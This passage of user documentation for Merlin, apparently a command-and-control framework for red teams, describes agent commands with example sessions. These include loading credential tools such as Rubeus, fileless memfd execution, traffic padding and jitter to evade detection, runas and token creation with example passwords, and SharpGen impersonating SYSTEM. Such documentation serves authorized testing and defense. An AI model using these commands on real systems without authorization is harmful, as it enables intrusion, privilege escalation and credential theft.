Note: This command is only available to agent running on a `Windows` operating system!

The `list-assemblies` command lists .NET assemblies that have been loaded into the agent's process with the *load-assembly* command.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» list-assemblies
[-] Created job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Loaded Assemblies:
seatbelt.exe
rubeus.exe
sharpdpapi.exe
sharpup.exe
Hagrid
```

8.21 load-assembly

Note: This command is only available to agent running on a `Windows` operating system!

The `load-assembly` command loads a .NET assembly into the agent's process. Once the assembly is loaded, it can be executed multiple times with the *invoke-assembly* command. The .NET assembly is only sent across the wire

one time. An option third argument can be provided to reference the assembly as any other name when executed with the *invoke-assembly* command.

Note: Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe
[-] Created job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] successfully loaded rubeus.exe into the default AppDomain
```

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe␣
↪Hagrid
[-] Created job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] successfully loaded Hagrid into the default AppDomain
```

8.22 ls

The `ls` command is used to list a directory's contents using native Go functions within Merlin. This command will not execute the `ls` or `dir` binary programs found on their associated host operating systems. If a directory is not specified, Merlin will list the contents of the current working directory. When specifying a Windows path, you must escape the backslash (e.g.,. *C:\Temp*). Wrap file paths containing a space in quotations. Alternatively, Linux file paths with a space can be called without quotes by escaping the space (e.g.,. `/root/some\ folder/`). Relative paths can be used (e.g.,. `./../` or `downloads\\Merlin`) and they are resolved to their absolute path.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ls /var
[-]Created job eNJKIiLXXH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job eNJKIiLXXH
Directory listing for: /var

drwxr-xr-x      2019-02-06 00:05:17     4096    backups
drwxr-xr-x      2018-12-24 14:40:14     4096    cache
dgtrwxrwxrwx    2019-02-06 00:05:16     4096    crash
drwxr-xr-x      2019-01-17 21:24:30     4096    lib
dgrwxrwxr-x     2018-04-24 04:34:22     4096    local
Lrwxrwxrwx      2018-11-07 21:33:01     9       lock
drwxrwxr-x      2019-02-06 00:05:39     4096    log
dgrwxrwxr-x     2018-07-24 23:03:56     4096    mail
dgtrwxrwxrwx    2018-07-24 23:09:50     4096    metrics
drwxr-xr-x      2018-07-24 23:03:56     4096    opt
Lrwxrwxrwx      2018-11-07 21:33:01     4       run
drwxr-xr-x      2018-11-07 21:45:43     4096    snap
drwxr-xr-x      2018-11-07 21:38:04     4096    spool
dtrwxrwxrwx     2019-02-06 00:05:38     4096    tmp
```

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ls "C:\\Program Files (x86)\\"
[-]Created job ggQPFQhTrC for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job ggQPFQhTrC
Directory listing for: C:\Program Files (x86)
```

(continues on next page)

(continued from previous page)

```
drwxrwxrwx      2018-09-15 00:42:33     0       Common Files
drwxrwxrwx      2018-09-15 02:08:27     0       Internet Explorer
drwxrwxrwx      2018-09-15 00:33:50     0       Microsoft.NET
drwxrwxrwx      2018-09-15 02:07:46     0       Windows Defender
drwxrwxrwx      2018-12-27 12:42:42     0       Windows Kits
drwxrwxrwx      2018-09-15 00:33:53     0       Windows Mail
drwxrwxrwx      2018-12-16 13:15:58     0       Windows Media Player
drwxrwxrwx      2018-09-15 02:10:06     0       Windows Multimedia Platform
drwxrwxrwx      2019-01-10 08:18:11     0       Windows Photo Viewer
drwxrwxrwx      2018-09-15 02:10:06     0       Windows Portable Devices
drwxrwxrwx      2018-09-15 00:33:50     0       Windows Sidebar
drwxrwxrwx      2018-09-15 00:33:50     0       WindowsPowerShell
-rw-rw-rw-      2018-09-15 00:31:34     174     desktop.ini
drwxrwxrwx      2018-09-15 00:42:33     0       windows nt
```

8.23 main

The `main` command is used to leave the Agent menu and return back to the *Main Menu*. It is an alias for the `back` command.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main
Merlin»
```

8.24 maxretry

The `maxretry` control type is used to change the _maximum_ number of failed login an agent will allow before the agent quits. For the sake of this conversation, a login means establishing contact with a Merlin Server and receiving no errors. The default is 7. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the `agent info` command.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» maxretry 50
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job utpISXXXbl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

8.25 memfd

Note: This command is only available to agent running on a `Linux` operating system!

The `memfd` command loads a Linux executable file into memory (RAM) as an anonymous file using the memfd_create API call, executes it, and returns the results. The file is created with an empty string as its name. Less the fact that RAM is a file on Linux, the executable is not written to disk. View the Detecting Linux memfd_create() Fileless Malware with Command Line Forensics for detection guidance.

Note: This command will not run on Windows agents

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» memfd /tmp/hello.py
[-] Created job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Hello from a Python script
```

8.26 netstat

Note: This command is only available to agent running on a `Windows` operating system!

The `netstat` command uses the Windows API to enumerating network connections and listening ports. Without any arguments, the `netstat` command returns all TCP and UDP network connections.

Use `netstat -p tcp` to only return TCP connections and `netstat -p udp` to only return UDP connections.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» netstat
[-] Created job JEFMANkdaU for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job JEFMANkdaU for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Proto Local Addr              Foreign Addr            State        PID/Program name
udp   0.0.0.0:123             0.0.0.0:0                            3272/svchost.exe
udp   0.0.0.0:500             0.0.0.0:0                            3104/svchost.exe
udp   0.0.0.0:3389            0.0.0.0:0                            984/svchost.exe
udp6  :::123                  0.0.0.0:0                            3272/svchost.exe
udp6  :::500                  0.0.0.0:0                            3104/svchost.exe
udp6  :::3389                 0.0.0.0:0                            984/svchost.exe
tcp   0.0.0.0:135             0.0.0.0:0               LISTEN       964/svchost.exe
tcp   0.0.0.0:445             0.0.0.0:0               LISTEN       4/System
tcp   0.0.0.0:3389            0.0.0.0:0               LISTEN       984/svchost.exe
tcp   127.0.0.1:52945         127.0.0.1:5357          TIME_WAIT
tcp   127.0.0.1:54441         127.0.0.1:5357          TIME_WAIT
tcp   192.168.1.11:59757      72.21.91.29:80          CLOSE_WAIT   6496/SearchApp.exe
tcp   192.168.1.11:59763      72.21.91.29:80          CLOSE_WAIT   12076/YourPhone.exe
tcp6  :::135                  :::0                    LISTEN       964/svchost.exe
tcp6  :::445                  :::0                    LISTEN       4/System
tcp6  :::3389                 :::0                    LISTEN       984/svchost.exe
```

8.27 note

The `note` command creates a server-side note that operators can use to record miscellaneous information about an agent. The note is displayed in a column of the output from the *sessions* command

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» note Demo Agent Here
[i] Agent c1090dbc-f2f7-4d90-a241-86e0c0217786's note set to: Demo Agent Here
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» sessions

                AGENT GUID               |    TRANSPORT    |   PLATFORM    |       HOST␣
↪     |         USER          |                 PROCESS                  | STATUS |␣
↪LAST CHECKIN |      NOTE
```

(continues on next page)

(continued from previous page)

```
+--------------------------------------+----------------+---------------+------------
↪-----+---------------------+-------------------------------------------+--------+----
↪----------+-----------------+
  c1090dbc-f2f7-4d90-a241-86e0c0217786 | HTTP/2 over TLS | linux/amd64    | ubuntu    ␣
↪     | rastley             | main(200769)                               | Active |␣
↪0:00:08 ago  | Demo Agent Here
```

8.28 nslookup

The `nslookup` command takes a space separated list of IP addresses or hostnames and performs a DNS query using the host's resolver and returns the results.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» nslookup 8.8.8.8 9.9.9.9 github.
↪com google.com
[-] Created job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Query: 8.8.8.8, Result: dns.google.
Query: 9.9.9.9, Result: dns9.quad9.net.
Query: github.com, Result: 192.30.255.113
Query: google.com, Result: 142.250.73.238 2607:f8b0:4004:82a::200e
```

8.29 padding

The `padding` control type is used to change the _maximum_ size of a message's padding. A random value between 0 and the maximum padding value is selected on a per message basis and added to the end of each message. This is used in an attempt to evade detection when a program looks for messages with same size beaconing out. The default is 4096. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the `agent info` command.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set padding 8192
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job wlGTwgtqNx for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

8.30 pipes

Note: This command is only available to agent running on a `Windows` operating system!

The `pipes` command lists all of the named pipes on the Windows host where the agent is currently running:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pipes
[-] Created job XYXXiZaGev for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job XYXXiZaGev for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Named pipes:
```

(continues on next page)

(continued from previous page)

```
\\.\pipe\InitShutdown
\\.\pipe\lsass
\\.\pipe\ntsvcs
\\.\pipe\scerpc
\\.\pipe\Winsock2\CatalogChangeListener-2f4-0
\\.\pipe\Winsock2\CatalogChangeListener-3c4-0
\\.\pipe\epmapper
\\.\pipe\Winsock2\CatalogChangeListener-254-0
\\.\pipe\LSM_API_service
\\.\pipe\Winsock2\CatalogChangeListener-3f8-0
\\.\pipe\eventlog
\\.\pipe\Winsock2\CatalogChangeListener-558-0
\\.\pipe\TermSrv_API_service
\\.\pipe\Ctx_WinStation_API_service
\\.\pipe\atsvc
\\.\pipe\Winsock2\CatalogChangeListener-734-0
\\.\pipe\wkssvc
\\.\pipe\SessEnvPublicRpc
\\.\pipe\Winsock2\CatalogChangeListener-a1c-0
\\.\pipe\spoolss
\\.\pipe\Winsock2\CatalogChangeListener-adc-0
\\.\pipe\trkwks
```

8.31 printenv

The `printenv` command is an alias for the `env` *showall* command that enumerates and return all environment variables:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» printenv
[-] Created job NzbQEytJpY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job NzbQEytJpY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Environment variables:
SHELL=/bin/bash
SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/3195,unix/ubuntu:/tmp/.ICE-unix/3195
QT_ACCESSIBILITY=1
SNAP_REVISION=148
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
SNAP_REAL_HOME=/home/rastley
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
```

8.32 ps

Note: This command is only available to agent running on a `Windows` operating system!

The `ps` command uses the Windows API to gather available information about running processes. The agent is not running in a high-integrity process then some of the information will be missing.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]]» ps
[-] Created job afYByFZoXV for agent c1090dbc-f2f7-4d90-a241-86e0c0217786]

[-] Results job afYByFZoXV for agent c1090dbc-f2f7-4d90-a241-86e0c0217786]

[+]
PID     PPID    ARCH    OWNER   EXE
0       0       x64             [System Process]
4       0       x64             System
124     4       x64             Registry
412     4       x64             smss.exe
508     496     x64             csrss.exe
596     496     x64             wininit.exe
604     588     x64             csrss.exe
668     588     x64     BUILTIN\Administrators  winlogon.exe
736     596     x64             services.exe
<SNIP>
4648    2504    x64     DESKTOP-H39FR21\bob     sihost.exe
5732    736     x64     DESKTOP-H39FR21\bob     svchost.exe
5684    736     x64     DESKTOP-H39FR21\bob     svchost.exe
5768    1844    x64     DESKTOP-H39FR21\bob     taskhostw.exe
5716    736     x64     BUILTIN\Administrators  svchost.exe
2396    736     x64     NT AUTHORITY\SYSTEM     svchost.exe
6220    2396    x64     DESKTOP-H39FR21\bob     ctfmon.exe
6464    736     x64     NT AUTHORITY\LOCAL SERVICE      svchost.exe
6504    6376    x64     DESKTOP-H39FR21\bob     explorer.exe
```

8.33 pwd

The `pwd` command uses native Go to get and return the current working directory.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd
[-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Current working directory: C:\Users\Joe
```

8.34 quit

The `quit` command is used to exit out of the Merlin Server application. This is also an alias for the `exit` command.

8.35 rm

The `rm` command will remove or delete a file using native Go functions.

‘‘ rm <file path>‘‘

```
Merlin[agent][336154be-9ab9-4add-96e6-69c79f1ce77d]» rm␣
↪C:\\Users\\rastley\\Downloads\\lyrics.txt
[-] Created job jwGxSVYMDY for agent 336154be-9ab9-4add-96e6-69c79f1ce77d

[-] Results job jwGxSVYMDY for agent 336154be-9ab9-4add-96e6-69c79f1ce77d

[+] successfully removed file C:\Users\rastley\Downloads\lyrics.txt
```

8.36 runas

The `runas` command will run a program as another user. This is done using the CreateProcessWithLogonW Windows API call.

`runas <Domain\\User> <Password> <program> [<program args>]`

```
Merlin[agent][336154be-9ab9-4add-96e6-69c79f1ce77d]» runas ACME\\Administrator␣
↪S3cretPassw0rd cmd.exe /c dir \\\\DC01.ACME.COM\\C$
[-] Created job PABQYrMLYO for agent 336154be-9ab9-4add-96e6-69c79f1ce77d

[-] Results job PABQYrMLYO for agent 336154be-9ab9-4add-96e6-69c79f1ce77d

[+] Created cmd.exe process with PID 2120
```

8.37 run

The `run` command is used to task the agent to run a program on the host and return STDOUT/STDERR. When issuing a command to an agent from the server, the agent will execute the provided binary file for the program you specified and also pass along any arguments you provide. It is important to note that program must be in the path. This allows an operator to specify and use a shell (e.g.,. cmd.exe, powershell.exe, or /bin/bash) or to execute the program directly *WITHOUT* a shell. For instance, `ping.exe` is typically in the host's %PATH% variable on Windows and works *without* specifying `cmd.exe`. However, the `ver` command is not an executable in the %PATH% and therefore *must* be run from `cmd.exe`. Use the *shell* command if you want to use the operating system's default shell directly.

Example using ping:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run ping 8.8.8.8
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job DTBnkIfnus for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job DTBnkIfnus

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=23ms TTL=54
Reply from 8.8.8.8: bytes=32 time=368ms TTL=54
Reply from 8.8.8.8: bytes=32 time=26ms TTL=54
Reply from 8.8.8.8: bytes=32 time=171ms TTL=54

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 23ms, Maximum = 368ms, Average = 147ms
```

Example running `ver` *without* `cmd.exe`:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job iOMPERNYGT for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job iOMPERNYGT
exec: "ver": executable file not found in %PATH%
```

Example running `ver` *with* `cmd.exe`:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run cmd.exe /c ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job IxVXgyIkhS for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job IxVXgyIkhS

Microsoft Windows [Version 10.0.16299.64]
```

8.37.1 Shell Functions

Some commands and capabilities are components of a shell and can *ONLY* be used with a shell. For example, the `dir` command is a component of `cmd.exe` and is not its own program executable. Therefore, `dir` can only be used within the `cmd.exe` shell. In order to use the *dir*, you must provide executable of the shell environment where that command resides.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run cmd.exe /c dir
```

The pipe and redirection characters `|` , > , and < , are also functions of a shell environment. If you want to use them, you must do so *WITH* a shell. For Linux, an example would be:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»run bash -c "cat /etc/passwd |␣
↪grep root"
```

8.37.2 Quoted Arguments

When running a command on an agent from the server, the provided arguments are passed to executable that was called. As long as there are no special characters (e.g., `\` , `&` , `;` , `|` , > , < etc.) the command will be processed fine.

For example, this command will work fine because it does not have any special characters:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe Get-Service -
↪Name win* -Exclude WinRM
```

However, this command **WILL** fail because of the `|` symbol. The command will still execute, but will stop processing everything after the `|` symbol.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe Get-Service -
↪Name win* -Exclude WinRM | fl
```

To circumvent this, enclose the entire argument in quotes. The outer most quotes will be removed when the arguments are passed. Any inner quotes need to be escaped. The argument can be enclosed in double quotes or single quotes. The command be executed in both of these ways:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe "Get-Service -
↪Name win* -Exclude WinRM | fl"
```

OR

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe "Get-Service -
↪Name \"win*\" -Exclude "WinRM" | fl"
```

OR

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run powershell.exe 'Get-Service -
↪Name \'win*\' -Exclude 'WinRM' | fl'
```

8.37.3 Escape Sequence

Following along with the Quoted Arguments section above, the `\` symbol will be interpreted as an escape sequence. This is beneficial because it can be used to escape other characters like the pipe symbol, `|` . However, it can work against you when working with Windows file paths and the arguments are not enclosed in quotes.

This command will fail because the `\` itself needs to escaped. Notice the error message shows `C:WindowsSystem32`:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run cmd.exe /c␣
↪C:\Windows\System32
[-]Created job hBYxRfaRBG for agent 21a0fc5f-14ad-4c43-b41e-57eab1feb0e1
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job hBYxRfaRBG
[+]'C:WindowsSystem32' is not recognized as an internal or external command,
operable program or batch file.
[!]exit status 1
```

To correctly issue the command either escape the `\` or enclose the commands in quotes:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» run cmd.exe /c dir␣
↪C:\\Windows\\System32
```

8.38 sdelete

The `sdelete` command securely deletes a file.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» sdelete /tmp/deleteMe.txt
[-] Created job ZfLruZBwbR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job ZfLruZBwbR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Securely deleted file: /tmp/deleteMe.txt
```

8.39 sessions

The `sessions` command is used to quickly list information about established agents from the main menu to include their status. The sessions command is available from any menu in the CLI.

- AGENT GUID - A unique identifier for every running instance
- TRANSPORT - The protocol the agent is communicating over
- PLATFORM - The operating system and architecture the agent is running on
- HOST - The hostname where the agent is running

- USER - The username that hte agent is running as
- PROCESS - The Agent's process name followed by its Process ID (PID) in parenthesis
- STATUS - The Agent's communiction status of either active, delayed, or dead
- LAST CHECKIN - The amount of time that has passed since the agent last checked in
- NOTE - A free-form text area for operators to record notes about a specific agent; tracked server-side only

```
Merlin» sessions

                AGENT GUID               |    TRANSPORT    |   PLATFORM    |      HOST
↪     |        USER          |                 PROCESS                    | STATUS |
↪LAST CHECKIN |      NOTE
+------------------------------------+-----------------+---------------+------------
↪-----+--------------------+-------------------------------------------+--------+----
↪----------+-----------------+
  d07edfda-e119-4be2-a20f-918ab701fa3c | HTTP/2 over TLS | linux/amd64   | ubuntu
↪     | rastley             | main(200769)                               | Active |
↪0:00:08 ago  | Demo Agent Here
```

8.40 sharpgen

Note: This command is only available to agent running on a `Windows` operating system!

Warning: The .NET Core 2.1 SDK must be manually installed by the operator and the SharpGen executable must be built before the `sharpgen` command can be used

The `sharpgen` command leverages Ryan Cobb's SharpGen project and the .NET Core 2.1 SDK to dynamically compile and execute .NET assemblies. After assembly is compiled, the same steps documented in *execute-assembly* are followed. SharpGen also leverages functionality from the SharpSploit project that can be called directly from this `shargen` command. This command uses a hardcoded output that places compiled executables to the Merlin root directory as `sharpgen.exe`.

For more granular control and additional configuration options, use the `windows/x64/csharp/misc/SharpGen` module.

SharpGen is git a submodule in the `data/src/cobbr/SharpGen` directory. From this directory, run the `dotnet build -c release` command to build the `SharpGen.dll` executable.

The `sharpgen` command is executed as: `shaprgen <code> [<spawnto path> <spawnto args>]`

The `code` positional argument is the .NET code you want to compile and execute. All code is automatically wraped in `Console.WriteLine();` and it does not need to be included again. All other arguments are optional. The `<spawnto path>` argument is the process that will be started on the target and where the shellcode will be injected and executed. If a `<spawnto path>` is not provided, `C:\WIndows\System32\dllhost.exe` will be used. The `<spawnto args>` value is used as an argument when starting the spawnto process.

Note: Use `\` to escape any characters inside of the code argument and use quotes to enclose the entire code argument (e.g., `"new Tokens().MakeToken(\"RAstley\", \"\", \"P@ssword\")"`)

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» sharpgen "new SharpSploit.
↪Credentials.Tokens().GetSystem()"
[-] Created job oeOBXfBuPS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Results for c1090dbc-f2f7-4d90-a241-86e0c0217786 job oeOBXfBuPS

Getting system...
Impersonate NT AUTHORITY\SYSTEM...
Processes for NT AUTHORITY\SYSTEM: 25
Attempting to impersonate: NT AUTHORITY\SYSTEM
Attempting to impersonate: NT AUTHORITY\SYSTEM
Impersonated: NT AUTHORITY\SYSTEM
True
```

8.41 shell

The `shell` command is used to task the agent to execute the provided arguments using the operating system's default shell and return STDOUT/STDERR. On Windows the `%COMSPEC%` shell is used and if it is `cmd.exe` then the `/c` argument is used. For macOS and Linux, the `/bin/sh` shell is used with the `-c` argument. Use the *run* command to execute a program directly without invoking the shell.

Example using `ver`:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job IxVXgyIkhS for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job IxVXgyIkhS

Microsoft Windows [Version 10.0.16299.64]
```

8.41.1 Shell Functions

Some commands and capabilities are components of a shell and can *ONLY* be used with a shell. For example, the `dir` command is a component of `cmd.exe` and is not its own program executable. Therefore, `dir` can only be used within the `cmd.exe` shell.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell dir
```

The pipe and redirection characters `|` , > , and < , are also functions of a shell environment.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell "cat /etc/passwd | grep␣
↪root"
```

8.41.2 Quoted Arguments

When running a command on an agent from the server, the provided arguments are passed to executable that was called. As long as there are no special characters (e.g., `\` , `&` , `;` , `|` , > , < etc.) the command will be processed fine.

For example, this command will work fine because it does not have any special characters:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe Get-Service␣
↪-Name win* -Exclude WinRM
```

However, this command **WILL** fail because of the | symbol. The command will still execute, but will stop processing everything after the | symbol.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe Get-Service␣
↪-Name win* -Exclude WinRM | fl
```

To circumvent this, enclose the entire argument in quotes. The outer most quotes will be removed when the arguments are passed. The argument can be enclosed in double quotes or single quotes. All other quotes need to be escaped The command be executed in both of these ways:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe "Get-
↪Service -Name win* -Exclude WinRM | fl"
```

OR

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe "Get-
↪Service -Name \"win*\" -Exclude "WinRM" | fl"
```

OR

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell powershell.exe 'Get-
↪Service -Name \'win*\' -Exclude 'WinRM' | fl'
```

8.41.3 Escape Sequence

Following along with the Quoted Arguments section above, the \ symbol will be interpreted as an escape sequence. This is beneficial because it can be used to escape other characters like the pipe symbol, | . However, it can work against you when working with Windows file paths and the arguments are not enclosed in quotes.

This command will fail because the \ itself needs to escaped. Notice the error message shows File Not Found:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell dir C:\Windows\System32
[-]Created job hBYxRfaRBG for agent 21a0fc5f-14ad-4c43-b41e-57eab1feb0e1
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job hBYxRfaRBG
[+]  Volume in drive C has no label.
 Volume Serial Number is AC57-CFB9

 Directory of C:\

File Not Found
```

To correctly issue the command either escape the \ or enclose the commands in quotes:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell dir C:\\Windows\\System32
```

8.42 skew

The `skew` command is used to introduce a jitter or skew to the agent sleep time to keep traffic from occurring at exact time intervals.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» skew 5
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job lyYQdxckTY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

8.43 sleep

The `sleep` control type is used to change the amount of time that an agent will sleep before checking in again. The default is 30 seconds. The values provided to this command are written in a time format. For example, `30s` is 30 seconds and `60m` is 60 minutes. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the `agent info` command.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» sleep 15s
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job npMYqwASOD for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

8.44 ssh

The `ssh` command connects to target host over the SSH protocol, executes the provided command, and returns the results.

> **Warning:** This command is insecure by design because it does not validate the remote host's public key

`ssh <username> <password> <host:port> <program> [<args>]`

```
Merlin[agent][fbef5b71-50bb-4d36-8a1b-2edf233eb578]» ssh rastley S3cretPassw0rd 192.
↪168.100.123:22 /bin/sh -c \"ip address show eth0\"
[-] Created job pinIDJXDTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job pinIDJXDTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Connected to 192.168.100.123:22 at 192.168.100.123:22 with public key ecdsa-sha2-
↪nistp256␣
↪AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJytZseMSAsUU6OE2X4TC518fcF3yxgFYIgYp4+xT9pa9n5
↪eO3hx9NXAtyOHImg/Ff8kdWs52bU3SA=
0: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group␣
↪default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.70/24 brd 192.168.100.255 scope global dynamic noprefixroute eth0
       valid_lft 1781sec preferred_lft 1781sec
```

8.45 status

The `status` command is used to simply print if the Merlin Agent is Active, Delayed, or Dead to the screen. This becomes useful when you come back to Merlin after a couple of hours or if you want to see if your shell has died.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» status
Active
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
```

8.46 token

The `token` command is used to perform various operations with Windows access tokens. The following commands are available:

- *make*
- *privs*
- *rev2self*
- *steal*
- *whoami*

Merlin keeps track of when a Windows access token was created or stolen. If there is a created or stolen token, it will be used with the following commands:

- *cd*
- *download*
- *execute-assembly*
- *execute-pe*
- *execute-shellcode*
- *invoke-assembly*
- minidump
- *kill*
- *ls*
- *ps*
- *rm*
- *run*
- *shell*
- *touch*
- *upload*

The following commands will make the Windows CreateProcessWithTokenW API call:

- *execute-assembly*
- *execute-pe*
- *execute-shellcode*
- *run*
- *shell*

8.46.1 make

The `make` command is use to create a new Windows access token with the Windows LogonUserW API call. The token is created with a type `9 - NewCredentials` logon type. This is the equivalent of using `runas.exe /netonly`.

> **Warning:** Type 9 - NewCredentials tokens only work for **NETWORK** authenticated activities

Note: Commands such as `token whoami` will show the username for the process and not the created token due to the logon type, but will reflect the new Logon ID

Note: There is an unregistered `make_token` command alias that can be use from the agent root menu prompt

`token make <DOMAIN\\User> <password>`

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» token make ACME\\Administrator␣
↪S3cretPassw0rd
